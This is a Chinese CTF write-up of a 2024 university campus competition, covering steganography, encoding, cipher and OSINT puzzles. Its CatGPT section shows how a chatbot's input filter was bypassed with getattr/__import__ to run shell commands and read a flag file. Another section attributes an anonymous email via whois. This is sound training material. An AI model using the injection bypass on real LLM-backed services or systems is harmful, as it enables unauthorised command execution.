USYD_CTF
2024校园赛
Misc
Signing
一个证书请求文件mycsr.csr
1 | -----BEGIN CERTIFICATE REQUEST----- |
使用openssl
命令:
1 | ~/Downloads/ openssl req -in mycsr.csr -noout -text |
发现flag: FLAG{Y0U_4R3_D01NG_GR34T}
CatGPT
题目:Your friend announced their new invention: CatGPT. A language model to simulate interactions with a cat. Come to play with your AI Cat!
- Hint1: “What happens if you type print(‘hello’) to the language model?”
- Hint2: “Is there any way to use bash in python?”
- Hint3: “The flag is a file in the system.”
非常好!让我为你总结这次 CTF 挑战的解题思路和过程:
初始分析:
- 题目涉及一个名为 CatGPT 的语言模型,模拟猫咪交互。
- 提示暗示需要执行 Python 代码和 bash 命令。
- 目标是在系统中找到一个标志文件。
初步尝试:
- 尝试基本的 Python 命令如
print('hello')
,被忽略。 - 导入模块(如
import os
,import subprocess
)触发了 “meow” 响应。 - 直接使用
os.system()
或subprocess.run()
无效。
- 尝试基本的 Python 命令如
绕过策略:
- 尝试了多种 Python 技巧,如使用
__import__
、exec()
、base64 编码等。 - 大多数方法都被忽略或得到了 “meow” 响应。
- 尝试了多种 Python 技巧,如使用
突破口:
使用
getattr(__import__('os'), 'system')('ls -l')
成功执行了系统命令。这个命令列出了目录内容,显示了一个名为
flag
的文件。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25Your input: getattr(__import__('os'), 'system')('ls -l')
total 64
lrwxrwxrwx 1 root root 7 Sep 11 14:04 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
drwxr-xr-x 5 root root 320 Oct 2 03:28 dev
drwxr-xr-x 1 root root 4096 Oct 2 03:28 etc
-rwxr----- 1 root root 43 Oct 2 03:28 flag
drwxr-xr-x 2 root root 4096 Apr 18 2022 home
lrwxrwxrwx 1 root root 7 Sep 11 14:04 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Sep 11 14:04 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Sep 11 14:04 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Sep 11 14:04 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Sep 11 14:04 media
drwxr-xr-x 2 root root 4096 Sep 11 14:04 mnt
drwxr-xr-x 2 root root 4096 Sep 11 14:04 opt
dr-xr-xr-x 11483 root root 0 Oct 2 03:28 proc
drwx------ 1 root root 4096 Sep 23 08:28 root
drwxr-xr-x 1 root root 4096 Oct 2 03:28 run
lrwxrwxrwx 1 root root 8 Sep 11 14:04 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Sep 11 14:04 srv
-rwxr-xr-x 1 root root 114 Sep 23 23:45 start.sh
dr-xr-xr-x 13 root root 0 Sep 14 08:57 sys
drwxrwxrwt 1 root root 4096 Sep 23 11:36 tmp
drwxr-xr-x 1 root root 4096 Sep 11 14:04 usr
drwxr-xr-x 1 root root 4096 Sep 11 14:07 var
获取 flag:
使用相同的方法读取 flag 文件:
getattr(__import__('os'), 'system')('cat /flag')
成功获取到 flag 内容:
flag{f9a1194f-b4e2-407d-b378-3801380ff9e4}
1
2
3Your input: getattr(__import__('os'), 'system')('cat /flag')
flag{f9a1194f-b4e2-407d-b378-3801380ff9e4}
CatGPT: (Ignores)
关键点:
- CatGPT 有某些过滤机制,但可以通过特定的 Python 技巧绕过。
- 使用
getattr
和__import__
的组合可以避开直接调用敏感函数。 - 系统命令执行是获取信息的关键。
总结:这个 CTF 挑战测试了参与者绕过语言模型过滤机制的能力,以及在受限环境中执行系统命令的技巧。解决方案涉及了 Python 的高级特性和对系统命令的巧妙运用。最终,通过持续尝试不同的方法,找到了一种可以绕过限制并执行系统命令的方式,成功获取了 flag。
Keep calm
图片隐写题。
分析文件内容:
1 | ┌──(root@kali)-[/home/h4m5t/Desktop/tools] |
分离:
1 | ┌──(root@kali)-[/home/h4m5t/Desktop/tools] |
查看:
1 | ┌──(root@kali)-[/home/h4m5t/Desktop/tools] |
得到flag: h1d1ng_in_4lm0st_pla1n_sigh7
Black and White
图片隐藏写题,使用stegsolve查看即可。
1 | java -jar stegsolve.jar |
Find_Me
一封邮件email-export.eml
,且带附件。
题目:Who sent this email?! Flag will be a person’s name (Not case sensitive), for ex : John Smith.
1 | Delivered-To: francismanzi@gmail.com |
使用了 onionmail.org 这样的匿名邮件服务,意味着真实的发件人信息不会直接出现在邮件头中。
查询邮件中的IP:
1 | whois 173.249.33.206 |
则发件人就是Johannes Selg
1 | person: Johannes Selg |
Hazy
题目是一个pdf文件。
尝试了很多方法,分离图片,分离zlib,分离aac音频文件,甚至mysql文件。
最终根据提示,转为word之后,发现图片后面隐藏有文字flag.
Base Family
题目:
1 | 0b1101000b10000010x350b1101010o650o710b1101000x350o640x440x350b1100100o640b10000100b1101000o1050b1101000x420b1100110o650b1101000o640b1101000o700b1101000b1101010b1101010b10000010b1101000b1100100x350x330b1101000x380b1101000x360x340o1030o650o660o650x330x350b1101100b1101000b1100110o640x420x350b1100000x340b10000010o640o1030o640x350o640x390b1101010b1101110x350o620x350x350x340o1020b1101000b1101100x350b1101100x340x360x340o630b1100110b1101100b1101000o630x350o640x340b1101110x340o1010x350x350x340x360o640x330x350o660b1101000o640x340o1060o640o1010x340x410b1100110x340x340b1101110x340o650b1101000x440b1100110x330b1101000b10001000x340b10000110b1101000x360b1101000b10000110o640b1101010x340o1060o650o650x350o640x340o1020o640b10000100x340o650b1101010b10000010b1101000x340b1101000o1020x330b1100110o650o640o640x340x340o1020b1101010b1101100b1101010b1101010b1101000o670o630b1101100o650b1101000x330x320o650b1101100o640x430b1101000x410o640b1100100x340x350x330b1101000b1101010x330o640b1100110x340b1100110x340o710b1101000b10001010b1101010o620b1101010o670x330x320o640x460b1101000o1010o650x350x340o1040o650x320o640o630o640b1101110b1101010b1100010o650o640x350o640b1101000b1100100x340x410b1101000b1100100b1101000b1110010o650b1101000o640o1020x330x440o630o1040o630x44 |
题目看似简单,然而数据的切分却比较麻烦,正则很难匹配。
首先反转字符串:
1 | 44x036o0401o036o044x033x0201o046o0001011b056o0100111b0001011b0010011b0001011b014x043x0010011b0001011b046o053x046o056o0100011b0101011b0111011b046o036o046o023x056o0401o043x053x056o0101o0001011b064x046o023x033x076o0101011b026o0101011b01010001b0001011b017o043x0110011b043x0110011b046o033x0101011b0001011b033x053x043x0010011b046o014x0001011b034x046o0011011b056o023x033x0001011b056o0011011b036o076o0001011b0101011b0101011b0011011b0101011b0201o043x043x046o046o056o0110011b033x0201o0001011b043x0001011b01000001b0101011b056o043x00100001b046o0201o043x046o053x056o056o0601o043x0101011b046o01100001b0001011b063x0001011b01100001b043x00010001b0001011b033x0110011b044x0001011b056o043x0111011b043x043x0110011b014x043x0101o046o0601o043x046o0001011b066o053x033x046o063x043x053x053x0101o043x0111011b043x046o053x036o0001011b0011011b0110011b036o043x063x043x0011011b053x0011011b0001011b0201o043x053x053x026o053x0111011b0101011b093x046o053x046o0301o046o01000001b043x0000011b053x024x046o0110011b0001011b0011011b053x033x056o066o056o0301o043x063x0001011b083x0001011b033x053x0010011b0001011b01000001b0101011b0101011b0001011b007o0001011b046o0001011b056o0110011b024x0001011b0501o0001011b00100001b046o0010011b053x044x046o053x0001011b017o056o0101011b053x01000001b0001011b0 |
根据x0,0o,b0进行切分。切分后每一段数据反转。再转换为10进制,再转换为ASCII码。
比如:
1 | Original: 0x44 -> Decimal: 68 -> ASCII: 'D' |
解码后的结果:
1 | 4A5559454D524B4E4B354448455A425348464C565356434B504A4C45495752554B46564643364354474A55464356444F4A4A3447454D334D4C464C454F55544B4B455A444B3354444B565547365432564C4A424534534343494E5257324F4A554D524347515454424A4249544B3D3D3D |
Hex(Base16)解码得到:
1 | JUYEMRKNK5DHEZBSHFLVSVCKPJLEIWRUKFVFC6CTGJUFCVDOJJ4GEM3MLFLEOUTKKEZDK3TDKVUG6T2VLJBE4SCCINRW2OJUMRCGQTTBJBITK=== |
base32解码得到:
1 | M0FEMWFrd29WYTJzVDZ4QjQxS2hQTnJxb3lYVGRjQ25ncUhoOUZBNHBCcm94dDhNaHQ5 |
base64解码:
1 | 3AD1akwoVa2sT6xB41KhPNrqoyXTdcCngqHh9FA4pBroxt8Mht9 |
base58解码:
1 | @iH<,{a@rRi&Pmrh2Xn<B1=?+QZNN_gRA2Ibf |
base91解码:
1 | flag{Enc0od3_checK1n_pIz_1234} |
注意,可以使用密码识别工具快速定位编码方式。https://www.dcode.fr/cipher-identifier
Birds_on_a_wire
一张很多鸟的电线杆的图片,尝试图片隐写没找到什么有用的信息。搜索后发现这是一种加密方法,在线解密即可。
https://www.dcode.fr/birds-on-a-wire-cipher
https://www.cachesleuth.com/codes/birdsonawire.html
注意最后的Flag要全部大写。
Zipzipzip
Zips.zip文件
1 | ┌──(root@kali)-[/home/h4m5t/Desktop/tools/zipctf] |
解压得到flag.
1 | ┌──(root@kali)-[/home/…/Desktop/tools/zipctf/Zip Zip] |
Blurry
一张模糊的二维码
https://www.iloveimg.com/zh-cn/upscale-image
提高一下图片质量,即可扫描出二维码内的flag.
bins
题目:
The rabbits left a mess in their cage.
1 | // // // ('> ('> LX2gkn81 ('> /rr /rr carrots /rr *))_ *))_ *))_ |
If only I knew which bin to put the rubbish in.
打开网站,
输入密码carrots,得到flag: he2023{s0rting_th3_w4ste}
Crypto
base
题目:
1 | Ulc1amIyUnBibWNnWVNCdFpYTnpZV2RsSUdseklHRWdiRzkwSUc5bUlHWjFiaUIxYm5ScGJDQnBkQ0JwYzI0bmRDNGc= V20xNGFGb3pjM3BQVkd0M1RsZFJlVTFVVVRSYWFsSnRXa2RKTTFscVFYbE9WMDE1VFRKUk1rOUVVWGROUkU1cVdXNHdQUT09 |
第一段解码:
1 | RW5jb2RpbmcgYSBtZXNzYWdlIGlzIGEgbG90IG9mIGZ1biB1bnRpbCBpdCBpc24ndC4g |
再次解码:
1 | Encoding a message is a lot of fun until it isn't. |
第二段解码:
1 | Wm14aFozc3pPVGt3TldReU1UUTRaalJtWkdJM1lqQXlOV015TTJRMk9EUXdNRE5qWW4wPQ== |
再次解码:
1 | ZmxhZ3szOTkwNWQyMTQ4ZjRmZGI3YjAyNWMyM2Q2ODQwMDNjYn0= |
三次解码:
1 | flag{39905d2148f4fdb7b025c23d684003cb} |
Delivery
一个txt文件,根据提示:https://en.wikipedia.org/wiki/Byte_order_mark
1 | ~/Desktop/testtest/ hexdump -C message.txt |
提取出flag:
1 | he2023{u7_b0m5s_8r_n07_8c1way5_1gn0rd} |
Rotational
题目:
1 | 96a_abL_?b04c?0Cbc50C_E_C03c4<HcC5DN |
任务是解密这段文本,(flag)。初步尝试使用常见的 ROT13 等简单的旋转密码未能成功,提示“the rotor must have been too fast!”暗示可能使用了更复杂的旋转算法。
旋转密码简介
旋转密码(Rotation Cipher),也称为 凯撒密码(Caesar Cipher),是一种简单的替换加密方法,通过将字母表中的字母按固定数目进行位移来实现加密。例如,ROT13 将每个字母向后移动13位。ROT47 是 ROT13 的扩展,适用于所有可打印的 ASCII 字符。
ROT13 与 ROT47 的区别
ROT13:
- 仅对字母(A-Z,a-z)进行旋转。
- 每个字母旋转13位,因字母总数为26,旋转13位后再次旋转13位即可恢复原文。
ROT47:
- 对所有可打印的 ASCII 字符(从
!
到~
,ASCII 33 到 126)进行旋转。 - 总共有94个可打印字符,旋转47位实现对称加密和解密。
- 对所有可打印的 ASCII 字符(从
由于 ROT47 涉及更多字符,适用于更复杂的加密需求,且无需区分大小写或字符类型。
解密步骤
1. 确认使用 ROT47
根据题目提示“the rotor must have been too fast!”和加密文本的复杂性,初步判断可能使用了 ROT47 算法。
2. 理解 ROT47 的工作原理
对于每个可打印的 ASCII 字符:
检查字符是否在可打印范围内(ASCII 33 到 126):
如果是,则将其 ASCII 码减去33,添加47,然后对94取模,最后再加上33,得到解密后的字符。
公式:
1
decoded_char = 33 + ((ASCII(c) - 33 + 47) % 94)
例如,字符
A
(ASCII 65):1
decoded_char = 33 + ((65 - 33 + 47) % 94) = 33 + (79 % 94) = 33 + 79 = 112 → 'p'
非可打印字符(如空格)保持不变。
3. 对每个字符应用 ROT47
我们将逐一对加密文本中的每个字符应用 ROT47 解密规则:
加密字符 | ASCII码 | 计算过程 | 解密字符 |
---|---|---|---|
9 |
57 | 33 + ((57 - 33 + 47) % 94) = 104 | h |
6 |
54 | 33 + ((54 - 33 + 47) % 94) = 101 | e |
a |
97 | 33 + ((97 - 33 + 47) % 94) = 50 | 2 |
_ |
95 | 33 + ((95 - 33 + 47) % 94) = 48 | 0 |
a |
97 | 同上 | 2 |
b |
98 | 33 + ((98 - 33 + 47) % 94) = 51 | 3 |
L |
76 | 33 + ((76 - 33 + 47) % 94) = 123 | { |
_ |
95 | 同上 | 0 |
? |
63 | 33 + ((63 - 33 + 47) % 94) = 110 | n |
b |
98 | 同上 | 3 |
0 |
48 | 33 + ((48 - 33 + 47) % 94) = 95 | _ |
4 |
52 | 33 + ((52 - 33 + 47) % 94) = 99 | c |
c |
99 | 33 + ((99 - 33 + 47) % 94) = 52 | 4 |
? |
63 | 同上 | n |
0 |
48 | 同上 | _ |
C |
67 | 33 + ((67 - 33 + 47) % 94) = 114 | r |
b |
98 | 同上 | 3 |
c |
99 | 同上 | 4 |
5 |
53 | 33 + ((53 - 33 + 47) % 94) = 100 | d |
0 |
48 | 同上 | _ |
C |
67 | 同上 | r |
_ |
95 | 同上 | 0 |
E |
69 | 33 + ((69 - 33 + 47) % 94) = 116 | t |
_ |
95 | 同上 | 0 |
C |
67 | 同上 | r |
_ |
95 | 同上 | 0 |
0 |
48 | 同上 | _ |
3 |
51 | 33 + ((51 - 33 + 47) % 94) = 98 | b |
c |
99 | 同上 | 4 |
4 |
52 | 同上 | c |
< |
60 | 33 + ((60 - 33 + 47) % 94) = 107 | k |
H |
72 | 33 + ((72 - 33 + 47) % 94) = 119 | w |
c |
99 | 同上 | 4 |
C |
67 | 同上 | r |
5 |
53 | 同上 | d |
D |
68 | 33 + ((68 - 33 + 47) % 94) = 115 | s |
N |
78 | 33 + ((78 - 33 + 47) % 94) = 125 | } |
4. 解密结果
将所有解密后的字符组合起来,得到:
1 | he2023{0n3_c4n_r34d_r0t0r_b4ckw4rds} |
解密后的文本具有明显的旗标格式,其中包含了一句英文提示:
1 | 0n3_c4n_r34d_r0t0r_b4ckw4rds |
这可以理解为:
1 | one can read rot0r backwards |
其中 rot0r
指的是 ROT0r,暗示了 ROT47 的对称性,即加密和解密过程相同。